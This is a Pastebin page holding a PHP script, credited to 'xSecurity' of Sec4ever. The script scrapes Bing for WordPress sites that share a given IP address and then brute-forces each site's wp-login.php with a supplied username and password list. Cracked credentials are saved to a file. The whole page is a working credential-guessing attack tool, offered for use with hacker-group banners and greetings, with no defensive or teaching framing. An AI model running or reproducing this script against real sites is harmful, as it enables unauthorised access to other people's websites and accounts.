Gitem

btf

Oct 8th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.11 KB | None | 0 0
  1. <?
  2.     /*
  3.     *   Coded By : xSecurity
  4.     *   Sec4ever.com
  5.     *   Usage : php wp.php 127.0.0.1 admin pass.txt
  6.     */
  7.     @set_time_limit(0);
  8.     if(count($argv)<3)
  9.     {
  10.         print "
  11.                    _  _                      
  12.          ___  ___  ___| || |   _____   _____ _ __
  13.         / __|/ _ \/ __| || |_ / _ \ \ / / _ \ '__|
  14.         \__ \  __/ (__|__   _|  __/\ V /  __/ |  
  15.         |___/\___|\___|  |_|  \___| \_/ \___|_|xSecurity\r\n";
  16.         print "[+] Skype    : xSecur1ty\r\n";
  17.         print "[+] Greets   : b0x - x00x Team\r\n";
  18.         print "[+] Homepage : www.sec4ever.com\r\n";
  19.         print "[+] Usage    : php wp.php 127.0.0.1 admin pass.txt\r\n";
  20.         die();
  21.     }
  22.     ################
  23.     $ip = $argv[1];
  24.     $username = $argv[2];
  25.     $passlist = $argv[3];
  26.     $password = explode("\n", @file_get_contents($passlist));
  27.     $bing = "IP:+{$ip}+page_id=";
  28.     ################
  29.    function check($url)
  30.     {
  31.         $url=(!eregi("http://www",$url))?str_replace("http://","http://www.",$url):$url;
  32.         preg_match("#(.*?)\/[?]page_id=#",$url,$m);
  33.         return $m[1];
  34.     }
  35.     print("                       _ _            
  36. __      ___ __     ___(_) |_ ___  ___
  37. \ \ /\ / / '_ \   / __| | __/ _ \/ __|
  38. \ V  V /| |_) |  \__ \ | ||  __/\__ \
  39.  \_/\_/ | .__/   |___/_|\__\___||___/
  40.         |_|                   \r\n");
  41.     for($i=1;$i<=10+10;$i++)
  42.     {
  43.         $get = @file_get_contents("http://www.bing.com/search?q={$bing}&go=&qs=ds&filt=all&first=$i");
  44.         preg_match_all('#(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)#siU',$get, $site);
  45.         $sites = array_unique($site[2]);
  46.     }
  47.         $fopen = fopen('xsec-sites.txt','w');
  48.         foreach($sites as $webs)
  49.         {
  50.             $domains = check($webs);
  51.             $do = "{$domains}\r\n";
  52.             $f = fwrite($fopen,$do);
  53.             if($f)
  54.             {
  55.                 print "# {$domains} -> Saved ! #\r\n";
  56.             }
  57.         }
  58.     ################## Brute Force ##################
  59.     print(" _                _      
  60. | |__  _ __ _   _| |_ ___
  61. | '_ \| '__| | | | __/ _ \
  62. | |_) | |  | |_| | ||  __/
  63. |_.__/|_|   \__,_|\__\___|
  64.                          \r\n");
  65.     $xsec_list = "xsec-sites.txt";
  66.     $fopen2 = fopen('cracks.txt','a+');
  67.     $weblist = explode("\n", @file_get_contents($xsec_list));
  68.     foreach($weblist as $web)
  69.     {
  70.         $web = @trim($web);
  71.         print "{$web}/ \r\n";
  72.         foreach($password as $pass)
  73.         {
  74.             $pass = @trim($pass);
  75.             $b0x = b0x($web,$username,$pass);
  76.             if(preg_match('/<div id="screen-meta" class="metabox-prefs">/', $b0x))
  77.             {
  78.                 print "Cracked -> {$username} -> {$pass}\r\n";
  79.                 $s1 = "{$web} -> User: {$username} -> Pass: {$pass}\r\n";
  80.                 fwrite($fopen2,$s1);
  81.                 break;
  82.             }
  83.         }
  84.     }
  85.     function b0x($web,$username,$pass)
  86.     {
  87.         $curl = curl_init();
  88.         curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  89.         curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  90.         curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./b0x.txt");
  91.         curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./b0x.txt");
  92.         curl_setopt($curl,CURLOPT_URL, "{$web}/wp-login.php");
  93.         curl_setopt($curl,CURLOPT_POSTFIELDS, "log={$username}&pwd={$pass}&wp-submit=Log+In&redirect_to=./wp-admin/&testcookie=1");
  94.         $brute = curl_exec($curl);
  95.         return $brute;
  96.     }
  97.     @system("del b0x.txt");
  98.     @system("rm b0x.txt");
  99.    
  100. ?>
Add Comment
Please, Sign In to add comment